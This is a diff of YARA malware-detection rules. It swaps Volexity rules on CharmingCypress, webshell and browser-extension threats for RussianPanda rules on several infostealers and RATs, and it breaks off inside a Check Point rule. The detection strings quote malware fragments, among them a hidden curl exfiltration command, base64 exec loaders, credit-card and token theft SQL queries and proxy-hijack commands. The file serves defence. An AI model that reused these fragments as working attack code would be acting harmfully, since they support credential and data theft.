-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 227
-		version = 10
+		quality = 79
+		tags = "FILE"
 
 	strings:
-		$os1 = "current thread policy=%d" ascii wide
-		$os2 = "OS_CreatShareMem %s-->%x" ascii wide
-		$os3 = "sem_open fail" ascii wide
-		$os4 = "int OS_GetCurRunPath(char*, int)" ascii wide
-		$os5 = "int OS_GetCurModName(char*, int)" ascii wide
-		$os6 = "int OS_StrToTime(char*, time_t*)" ascii wide
-		$os7 = "int OS_TimeToStr(time_t, char*)" ascii wide
-		$os8 = "int OS_TimeToStrYearMothDay(time_t, char*)" ascii wide
-		$os9 = "bool OS_Access(const char*)" ascii wide
-		$os10 = "int OS_Memicmp(const void*, const void*, unsigned int)" ascii wide
-		$os11 = "int OS_Mkdir(char*)" ascii wide
-		$os12 = "OS_ConnectSem" ascii wide
-		$msg1 = "client: last send packet iseq: %x, the ack :%x" ascii wide
-		$msg2 = "server: last send packet iseq: %x, the iseq :%x" ascii wide
-		$msg3 = "send packet failed!" ascii wide
-		$msg4 = "will hijack dns:%s, ip:%s " ascii wide
-		$msg5 = "dns send ok:%s" ascii wide
-		$msg6 = "tcp send ok" ascii wide
-		$msg7 = "FilePath:%s;" ascii wide
-		$msg8 = "Line:%d,Fun:%s,ErrorCode:%u;" ascii wide
-		$msg9 = "Description:%s;" ascii wide
-		$msg10 = "Line:%d,Fun:%s,ErrorCode:%u;" ascii wide
-		$msg11 = "get msg from ini is error" ascii wide
-		$msg12 = "on build eth send_msg or payload is null" ascii wide
-		$msg13 = "on build udp send_msg or payload is null" ascii wide
-		$conf1 = "%d.%d.%d.%d" ascii wide
-		$conf2 = "%s.tty" ascii wide
-		$conf3 = "dns.ini" ascii wide
-		$netw1 = "LISTEN_DEV" ascii wide
-		$netw2 = "SEND_DEV" ascii wide
-		$netw3 = "SERVER_IP" ascii wide
-		$netw4 = "DNSDomain" ascii wide
-		$netw5 = "IpLimit" ascii wide
-		$netw6 = "HttpConfig" ascii wide
-		$netw7 = "buildhead" ascii wide
-		$netw8 = "sendlimit" ascii wide
-		$netw9 = "content-type" ascii wide
-		$netw10 = "otherhead_" ascii wide
-		$netw11 = "configfile" ascii wide
-		$apache = {48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 53 65 72 76 65 72 3A 20 41 70 61 63 68 65 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 25 73 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A}
-		$cpp1 = "src/os.cpp"
-		$cpp2 = "src/test_catch_dns.cpp"
+		$s1 = {48 8D 15 ?? ?? ?? 00 0F B6 34 10 0F B6 BC 04 ?? ?? 00 00 ?? ?? 40 88 ?? 04 ?? ?? 00 00 48 FF C0}
+		$s2 = {48 83 F8 ?? 7C DA}
+		$s3 = {72 75 6E 74 69 6D 65 2E 67 6F 62 75 66}
+		$s4 = {74 6F 74 61 6C 5F 77 61 6C 6C 65 74 73}
+		$s5 = {74 6F 74 61 6C 5F 63 6F 6F 6B 69 65 73}
 
 	condition:
-		9 of ($os*) or 3 of ($msg*) or all of ($conf*) or all of ($netw*) or $apache or all of ($cpp*)
+		uint16(0)==0x5A4D and all of them and #s2>100 and #s1>100 and filesize <20MB
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Malware_Vbs_Basicstar : CHARMINGCYPRESS FILE MEMORY
+rule RUSSIANPANDA_Sentinel_Stealer
 {
 	meta:
-		description = "VBS backdoor which bares architectural similarity to the POWERSTAR malware family."
-		author = "threatintel@volexity.com"
-		id = "e790defe-2bd5-5629-8420-ce8091483589"
-		date = "2024-01-04"
-		modified = "2024-01-11"
-		reference = "TIB-20240111"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-02-13 CharmingCypress/rules.yar#L64-L92"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "977bb42553bb6585c8d0e1e89675644720ca9abf294eccd797e20d4bca516810"
+		description = "Detects Sentinel Stealer"
+		author = "RussianPanda"
+		id = "8a221d7b-8fa6-53cd-a3e8-63cc67285186"
+		date = "2024-01-19"
+		modified = "2024-01-19"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/SentinelStealer/sentinel_stealer.yar#L1-L14"
+		license_url = "N/A"
+		hash = "3a540a8a81c5a5b452f154d7875423a3"
+		logic_hash = "b9d72848842ea4d26544633bb83fccd17239b28493bde3f73341eb2004d8ee0c"
 		score = 75
-		quality = 80
-		tags = "CHARMINGCYPRESS, FILE, MEMORY"
-		hash1 = "c6f91e5585c2cbbb8d06b7f239e30b271f04393df4fb81815f6556fa4c793bb0"
-		os = "win"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10037
-		version = 4
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "Base64Encode(EncSess)" ascii wide
-		$s2 = "StrReverse(PlainSess)" ascii wide
-		$s3 = "ComDecode, \"Module\"" ascii wide
-		$s4 = "ComDecode, \"SetNewConfig\"" ascii wide
-		$s5 = "ComDecode, \"kill\"" ascii wide
-		$magic = "cmd /C start /MIN curl --ssl-no-revoke -s -d " ascii wide
+		$s1 = "Sentinel.SmallerEncryptedIcon" wide
+		$s2 = "SentinelSteals" wide
+		$s4 = "_CorExeMain"
 
 	condition:
-		3 of ($s*) or $magic
+		all of them
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Malware_Ps1_Powerless_B : CHARMINGCYPRESS FILE MEMORY
+rule RUSSIANPANDA_Darkvnc : FILE
 {
 	meta:
-		description = "Detects POWERLESS malware."
-		author = "threatintel@volexity.com"
-		id = "74dd8412-c099-5ecb-af97-c22fede14252"
-		date = "2023-10-25"
-		modified = "2023-11-03"
-		reference = "TIB-20231027"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-02-13 CharmingCypress/rules.yar#L93-L150"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "a95fe2c8d09d66e07a999eef3a5666cc622bbc063d747626c48b26cfecf35849"
+		description = "Detects DarkVNC"
+		author = "RussianPanda"
+		id = "dbc86ac8-5ea3-59a7-b3ab-68c603165720"
+		date = "2024-01-15"
+		modified = "2024-01-15"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/DarkVNC/darkvnc.yar#L1-L15"
+		license_url = "N/A"
+		hash = "3c74dccd06605bcf527ffc27b3122959"
+		logic_hash = "1dd1246e0b22181706433f0cff9b231017e747d8faaa2db4cb9adefeab492ab7"
 		score = 75
-		quality = 78
-		tags = "CHARMINGCYPRESS, FILE, MEMORY"
-		hash1 = "62de7abb39cf4c47ff120c7d765749696a03f4fa4e3e84c08712bb0484306ae1"
-		os = "win"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9794
-		version = 4
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$fun_1 = "function verifyClickStorke"
-		$fun_2 = "function ConvertTo-SHA256"
-		$fun_3 = "function Convert-Tobase" fullword
-		$fun_4 = "function Convert-Frombase" fullword
-		$fun_5 = "function Send-Httppacket"
-		$fun_6 = "function Generat-FetchCommand"
-		$fun_7 = "function Create-Fetchkey"
-		$fun_8 = "function Run-Uploader"
-		$fun_9 = "function Run-Shot" fullword
-		$fun_10 = "function ShotThis("
-		$fun_11 = "function File-Manager"
-		$fun_12 = "function zip-files"
-		$fun_13 = "function Run-Stealer"
-		$fun_14 = "function Run-Downloader"
-		$fun_15 = "function Run-Stro" fullword
-		$fun_16 = "function Run-Tele" fullword
-		$fun_17 = "function Run-Voice"
-		$s_1 = "if($commandtype -eq \"klg\")"
-		$s_2 = "$desrilizedrecievedcommand"
-		$s_3 = "$getAsyncKeyProto = @"
-		$s_4 = "$Global:BotId ="
-		$s_5 = "$targetCLSID = (Get-ScheduledTask | Where-Object TaskName -eq"
-		$s_6 = "$burl = \"$Global:HostAddress/"
-		$s_7 = "$hashString = [System.BitConverter]::ToString($hash).Replace('-','').ToLower()"
-		$s_8 = "$Global:UID = ((gwmi win32_computersystemproduct).uuid -replace '[^0-9a-z]').substring("
-		$s_9 = "$rawpacket = \"{`\"MId`\":`\"$Global:MachineID`\",`\"BotId`\":`\"$basebotid`\"}\""
-		$s_10 = "$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height"
-		$s_12 = "Runned Without any Error"
-		$s_13 = "$commandresponse = (Invoke-Expression $instruction -ErrorAction Stop) | Out-String"
-		$s_14 = "Operation started successfuly"
-		$s_15 = "$t_path = (Get-WmiObject Win32_Process -Filter \"name = '$process'\" | Select-Object CommandLine).CommandLine"
-		$s_16 = "?{ $_.DisplayName -match \"Telegram Desktop\" } | %{$app_path += $_.InstallLocation }"
-		$s_17 = "$chlids = get-ChildItem $t -Recurse -Exclude \"$t\\tdata\\user_data\""
-		$s_18 = "if($FirsttimeFlag -eq $True)"
-		$s_19 = "Update-Conf -interval $inter -url $url -next_url $next -conf_path $conf_path -key $config_key"
+		$s1 = {66 89 84 24 ?? 00 00 00 B8 ?? 00 00 00}
+		$s2 = {66 31 14 41 48}
+		$s3 = "VncStopServer"
+		$s4 = "VncStartServer"
 
 	condition:
-		3 of ($fun_*) or any of ($s_*)
+		uint16(0)==0x5A4D and 3 of them and filesize <700KB
 }
 import "pe"
-import "hash"
 
-rule VOLEXITY_Apt_Malware_Macos_Vpnclient_Cc_Oct23 : CHARMINGCYPRESS FILE MEMORY
+rule RUSSIANPANDA_Swaetrat
 {
 	meta:
-		description = "Detection for fake macOS VPN client used by CharmingCypress."
-		author = "threatintel@volexity.com"
-		id = "e0957936-dc6e-5de6-bb23-d0ef61655029"
-		date = "2023-10-17"
-		modified = "2023-10-27"
-		reference = "TIB-20231027"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-02-13 CharmingCypress/rules.yar#L236-L261"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "da5e9be752648b072a9aaeed884b8e1729a14841e33ed6633a0aaae1f11bd139"
+		description = "Detects SwaetRAT"
+		author = "RussianPanda"
+		id = "e5238ae4-7ae3-505c-a3fd-ecf6be608fac"
+		date = "2023-11-27"
+		modified = "2023-11-27"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/SwaetRAT/swaetrat.yar#L3-L19"
+		license_url = "N/A"
+		logic_hash = "4dc1107a34d678c3fa0939fab7986fe744ac246400823d08b1ab6db0942821da"
 		score = 75
-		quality = 80
-		tags = "CHARMINGCYPRESS, FILE, MEMORY"
-		hash1 = "11f0e38d9cf6e78f32fb2d3376badd47189b5c4456937cf382b8a574dc0d262d"
-		os = "darwin,linux"
-		os_arch = "all"
-		parent_hash = "31ca565dcbf77fec474b6dea07101f4dd6e70c1f58398eff65e2decab53a6f33"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9770
-		version = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "networksetup -setsocksfirewallproxystate wi-fi off" ascii
-		$s2 = "networksetup -setsocksfirewallproxy wi-fi ___serverAdd___ ___portNum___; networksetup -setsocksfirewallproxystate wi-fi on" ascii
-		$s3 = "New file imported successfully." ascii
-		$s4 = "Error in importing the File." ascii
+		$s2 = "Pong"
+		$s3 = "ReadData"
+		$s4 = "DeskDrop" wide
+		$s5 = "OfflineGet" wide
 
 	condition:
-		2 of ($s*)
+		all of ($s*) and pe.imports("mscoree.dll")
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Malware_Charmingcypress_Openvpn_Configuration : CHARMINGCYPRESS FILE
+rule RUSSIANPANDA_Raccoonstealer : FILE
 {
 	meta:
-		description = "Detection for a .ovpn file used in a malicious VPN client on victim machines by CharmingCypress."
-		author = "threatintel@volexity.com"
-		id = "f39b2d7c-f0c5-5623-a114-02ba32469e59"
-		date = "2023-10-17"
-		modified = "2023-10-27"
-		reference = "TIB-20231027"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-02-13 CharmingCypress/rules.yar#L262-L286"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "f4c5f13ac75504b14def9c37d3a41c6eea4c45845d4b54c50030b1f00691e4bf"
+		description = "Detects Raccoon Stealer v2.3.1.1"
+		author = "RussianPanda"
+		id = "29f28cd5-370b-5831-8b71-a253f468f7e4"
+		date = "2024-01-08"
+		modified = "2024-01-08"
+		reference = "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-raccoon-stealer-v2-0"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/RaccoonStealer_v2/raccoonstealer_v2.3.1.1.yar#L1-L20"
+		license_url = "N/A"
+		hash = "c6d0d98dd43822fe12a1d785df4e391db3c92846b0473b54762fbb929de6f5cb"
+		logic_hash = "ee2b39c1c2068b97e63a03330a2f9e2f12e53aaf9cfffb274acde2372a11fe45"
 		score = 75
-		quality = 80
-		tags = "CHARMINGCYPRESS, FILE"
-		hash1 = "d6d043973d8843a82033368c785c362f51395b1a1d475fa4705aff3526e15268"
-		parent_hash = "31ca565dcbf77fec474b6dea07101f4dd6e70c1f58398eff65e2decab53a6f33"
-		os = "all"
-		os_arch = "all"
-		scan_context = "file"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9769
-		version = 3
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$remote = "remote-cert-tls server" ascii
-		$ip = "Ip: "
-		$tls = "<tls_auth>"
+		$s1 = {8B 0D [2] 41 00 A3 [3] 00}
+		$s2 = "MachineGuid"
+		$s3 = "SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards"
+		$s4 = "SELECT service, encrypted_token FROM token_service"
+		$s5 = "&configId="
+		$s6 = "machineId="
 
 	condition:
-		all of them
+		all of ($s*) and #s1>10 and uint16(0)==0x5A4D and filesize <5MB
 }
-import "pe"
-import "hash"
-
-rule VOLEXITY_Apt_Delivery_Win_Charming_Openvpn_Client : CHARMINGCYPRESS FILE
+rule RUSSIANPANDA_Raccoonstealerv2 : FILE
 {
 	meta:
-		description = "Detects a fake OpenVPN client developed by CharmingCypress."
-		author = "threatintel@volexity.com"
-		id = "b69fdd72-4a55-5e83-b754-401fe9339007"
-		date = "2023-10-17"
-		modified = "2023-10-27"
-		reference = "TIB-20231027"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-02-13 CharmingCypress/rules.yar#L287-L310"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "02596a62cb1ba17ecabef0ae93f434e4774b00422a6da2106a2bc4c59d2f8077"
-		score = 75
-		quality = 80
-		tags = "CHARMINGCYPRESS, FILE"
-		hash1 = "2d99755d5cd25f857d6d3aa15631b69f570d20f95c6743574f3d3e3e8765f33c"
-		os = "win"
-		os_arch = "all"
-		scan_context = "file"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9768
-		version = 2
+		description = "Detects the latest unpacked/unobfuscated build 2.1.0-4"
+		author = "RussianPanda"
+		id = "eda6216a-219b-5f60-8084-4c0c240a4cb4"
+		date = "2023-04-17"
+		modified = "2023-05-05"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/RaccoonStealer_v2/raccoonstealerv2_2.1.0-4_build.yar#L1-L14"
+		license_url = "N/A"
+		logic_hash = "e2226f08753a3571045953363c04ec52de3c79cd0cd29e7ecb6afaf2ad573e4e"
+		score = 50
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s1 = "DONE!"
-		$s2 = "AppCore.dll"
-		$s3 = "ultralight@@"
+		$pattern1 = {B9 ?? ?? ?? 00 E8 ?? ?? ?? 00 ?? ?? 89 45 E8}
+		$pattern2 = {68 ?? ?? ?? 00 ?? 68 01 00 1F 00}
+		$pattern3 = {68 ?? ?? ?? 00 ?? ?? 68 01 00 1F 00 FF 15 64 ?? ?? 00}
+		$m1 = {68 ?? ?? ?? 00 ?? 00 68 01 00 1f 00 ff 15 64 ?? ?? 00}
+		$m2 = {68 ?? ?? ?? 00 ?? 68 01 00 1f 00 ff 15 64 ?? ?? 00}
 
 	condition:
-		all of ($s*)
+		2 of ($pattern*) and uint16(0)==0x5A4D and 1 of ($m*) and uint32( uint32(0x3C))==0x00004550 and filesize <200KB
 }
 import "pe"
-import "hash"
 
-rule VOLEXITY_Apt_Malware_Ps1_Powerstar_Generic : CHARMINGCYPRESS FILE MEMORY
+rule RUSSIANPANDA_Illyrianstealer : FILE
 {
 	meta:
-		description = "Detects POWERSTAR modules based on common HTTP functions used across modules."
-		author = "threatintel@volexity.com"
-		id = "71a3e99d-e1c8-5ac1-abbc-2ba5cba80799"
-		date = "2023-06-02"
-		modified = "2023-06-28"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-02-13 CharmingCypress/rules.yar#L311-L335"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "4da02190ffd16304eccbc0d12dfcc5637a6b785af0e3dc3dfcafcfe114597eb2"
+		description = "Detects Illyrian Stealer"
+		author = "RussianPanda"
+		id = "2f85e87c-6883-5f41-a37c-00f9e93f61bf"
+		date = "2024-01-08"
+		modified = "2024-01-08"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/IllyrianStealer/illyrian_stealer.yar#L2-L18"
+		license_url = "N/A"
+		hash = "fae0aed6173804e8c22027cbb0c121eedd927f16ea7e2b23662dbe6e016980e8"
+		logic_hash = "2012d401d3e7ce2d4d6ea12ed01a30b7d3e18f4ed47dbf70d43bae6c328960ea"
 		score = 75
-		quality = 80
-		tags = "CHARMINGCYPRESS, FILE, MEMORY"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 9356
-		version = 2
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$http1 = "Send_Upload" ascii wide
-		$http2 = "Send_Post_Data" ascii wide
-		$json1 = "{\"OS\":\"" ascii wide
-		$json2 = "{\"ComputerName\":\"' + $env:COMPUTERNAME + '\"}" ascii wide
-		$json3 = "{\"Token\"" ascii wide
-		$json4 = "{\"num\":\"" ascii wide
+		$s1 = "get_TotalPhysicalMemory"
+		$s2 = "\\b(bitcoincash)[a-zA-HJ-NP-Z0-9]{36,54}\\b" wide
+		$s3 = "[Crypto]" wide
+		$s4 = "|Black|" wide
 
 	condition:
-		all of ($http*) or all of ($json*)
+		all of ($s*) and filesize <50KB and pe.imports("mscoree.dll")
 }
-rule VOLEXITY_Apt_Malware_Py_Upstyle : UTA0218 FILE MEMORY
+rule RUSSIANPANDA_Whitesnakestealer : FILE
 {
 	meta:
-		description = "Detect the UPSTYLE webshell."
-		author = "threatintel@volexity.com"
-		id = "45726f35-8b3e-5095-b145-9e7f6da6838b"
-		date = "2024-04-11"
-		modified = "2024-04-12"
-		reference = "TIB-20240412"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L1-L33"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "51923600b23d23f4ce29eac7f5ab9f7e1ddb45bed5f6727ddec4dcb75872e473"
+		description = "Detects WhiteSnake Stealer XOR samples "
+		author = "RussianPanda"
+		id = "cfe168a6-cc2f-5cfe-985c-78b232dc2651"
+		date = "2023-07-04"
+		modified = "2023-12-11"
+		reference = "https://russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/WhiteSnake-Stealer/WhiteSnake_xor.yar#L1-L15"
+		license_url = "N/A"
+		logic_hash = "0bd0e250b8598be297296ecf6644d3bf649e3dc4598438325a0913afed04c819"
 		score = 75
-		quality = 80
-		tags = "UTA0218, FILE, MEMORY"
-		hash1 = "3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac"
-		hash2 = "0d59d7bddac6c22230187ef6cf7fa22bca93759edc6f9127c41dc28a2cea19d8"
-		hash3 = "4dd4bd027f060f325bf6a90d01bfcf4e7751a3775ad0246beacc6eb2bad5ec6f"
-		os = "linux"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10429
-		version = 2
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$stage1_str1 = "/opt/pancfg/mgmt/licenses/PA_VM"
-		$stage1_str2 = "exec(base64."
-		$stage2_str1 = "signal.signal(signal.SIGTERM,stop)"
-		$stage2_str2 = "exec(base64."
-		$stage3_str1 = "write(\"/*\"+output+\"*/\")"
-		$stage3_str2 = "SHELL_PATTERN"
+		$s1 = {FE 0C 00 00 FE 09 00 00 FE 0C 02 00 6F ?? 00 00 0A FE 0C 03 00 61 D1 FE 0E 04 00 FE}
+		$s2 = {61 6e 61 6c 2e 6a 70 67}
 
 	condition:
-		all of ($stage1*) or all of ($stage2*) or all of ($stage3*)
+		all of ($s*) and filesize <600KB
 }
-rule VOLEXITY_Susp_Any_Jarischf_User_Path : FILE MEMORY
+rule RUSSIANPANDA_Whitesnakestealer_1 : FILE
 {
 	meta:
-		description = "Detects paths embedded in samples in released projects written by Ferdinand Jarisch, a pentester in AISEC. These tools are sometimes used by attackers in real world intrusions."
-		author = "threatintel@volexity.com"
-		id = "062a6fdb-c516-5643-9c7c-deff32eeb95e"
-		date = "2024-04-10"
-		modified = "2024-04-12"
-		reference = "TIB-20240412"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L57-L78"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "574d5b1fadb91c39251600e7d73d4993d4b16565bd1427a0e8d6ed4e7905ab54"
-		score = 50
-		quality = 80
-		tags = "FILE, MEMORY"
-		hash1 = "161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6"
-		os = "all"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10424
-		version = 4
+		description = "WhiteSnake Stealer"
+		author = "RussianPanda"
+		id = "70b69aba-5096-59a6-bb0b-44d248aecc26"
+		date = "2023-07-04"
+		modified = "2023-12-11"
+		reference = "https://russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/WhiteSnake-Stealer/WhiteSnake_rc4.yar#L1-L17"
+		license_url = "N/A"
+		logic_hash = "24985a2c3b0d72858decd17cb2b8e485caa94c01ad72a014edc68ed4facfd71e"
+		score = 75
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$proj_1 = "/home/jarischf/"
+		$s1 = {73 68 69 74 2e 6a 70 67}
+		$s2 = {FE 0C ?? 00 20 00 01 00 00 3F ?? FF FF FF 20 00 00 00 00 FE 0E ?? 00 38 ?? 00 00 00 FE 0C}
+		$s3 = "qemu" wide
+		$s4 = "vbox" wide
 
 	condition:
-		any of ($proj_*)
+		all of ($s*) and filesize <300KB
 }
-rule VOLEXITY_Hacktool_Golang_Reversessh_Fahrj : FILE MEMORY
+rule RUSSIANPANDA_Mal_Cleanuploader : FILE
 {
 	meta:
-		description = "Detects a reverse SSH utility available on GitHub. Attackers may use this tool or similar tools in post-exploitation activity."
-		author = "threatintel@volexity.com"
-		id = "332e323f-cb16-5aa2-8b66-f3d6d50d94f2"
-		date = "2024-04-10"
-		modified = "2024-04-12"
-		reference = "TIB-20240412"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L79-L112"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "38b40cc7fc1e601da2c7a825f1c2eff209093875a5829ddd2f4c5ad438d660f8"
+		description = "Detects CleanUpLoader"
+		author = "RussianPanda"
+		id = "fc75fed2-0f8c-55c9-bd10-efe95a678f31"
+		date = "2024-02-14"
+		modified = "2024-02-14"
+		reference = "https://x.com/AnFam17/status/1757871703282077857?s=20"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/CleanUpLoader/mal_cleanuploader.yar#L1-L14"
+		license_url = "N/A"
+		hash = "2b62dd154b431d8309002d5b4a35de07"
+		logic_hash = "a9267c568c11420e36f0781469aa7d932c87d52707981912558eb0f4f84f673a"
 		score = 75
-		quality = 80
-		tags = "FILE, MEMORY"
-		hash1 = "161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6"
-		os = "all"
-		os_arch = "all"
-		scan_context = "file,memory"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		rule_id = 10423
-		version = 5
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$fun_1 = "createLocalPortForwardingCallback"
-		$fun_2 = "createReversePortForwardingCallback"
-		$fun_3 = "createPasswordHandler"
-		$fun_4 = "createPublicKeyHandler"
-		$fun_5 = "createSFTPHandler"
-		$fun_6 = "dialHomeAndListen"
-		$fun_7 = "createExtraInfoHandler"
-		$fun_8 = "createSSHSessionHandler"
-		$fun_9 = "createReversePortForwardingCallback"
-		$proj_1 = "github.com/Fahrj/reverse-ssh"
+		$s1 = {0F B6 80 30 82 42 00 88}
+		$s2 = {44 69 73 6B 43 6C 72}
+		$s3 = {49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 20 00 45 00 64 00 67 00 65}
 
 	condition:
-		any of ($proj_*) or 4 of ($fun_*)
+		uint16(0)==0x5A4D and all of them and #s1>15
 }
-rule VOLEXITY_Apt_Js_Sharpext : SHARPTONGUE
+/*
+ * YARA Rule Set
+ * Repository Name: Check Point
+ * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
+ * Retrieval Date: 2024-09-01
+ * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
+ * Number of Rules: 4
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule CHECK_POINT_Injector_ZZ_Dotrunpex_Oldnew : FILE
 {
 	meta:
-		description = "A malicious Chrome browser extention used by the SharpTongue threat actor to steal mail data from a victim."
-		author = "threatintel@volexity.com"
-		id = "61b5176a-ff73-5fce-bc70-c9e09bb5afed"
-		date = "2021-09-14"
-		modified = "2022-07-28"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-07-28 SharpTongue SharpTongue Deploys Clever Mail-Stealing Browser Extension SHARPEXT/yara.yar#L1-L47"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "0ed58c8646582ee36aeac650fac02d1e4962d45c0f6a24783c021d9267bed192"
+		description = "Detects new and old version of dotRunpeX - configurable .NET injector"
+		author = "Jiri Vinopal (jiriv)"
+		id = "43e2d520-bfe4-5530-a5b4-508cfba9d06e"
+		date = "2022-10-30"
+		modified = "2023-04-10"
+		reference = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/injector_ZZ_dotRunpeX_oldnew.yar#L1-L45"
+		license_url = "N/A"
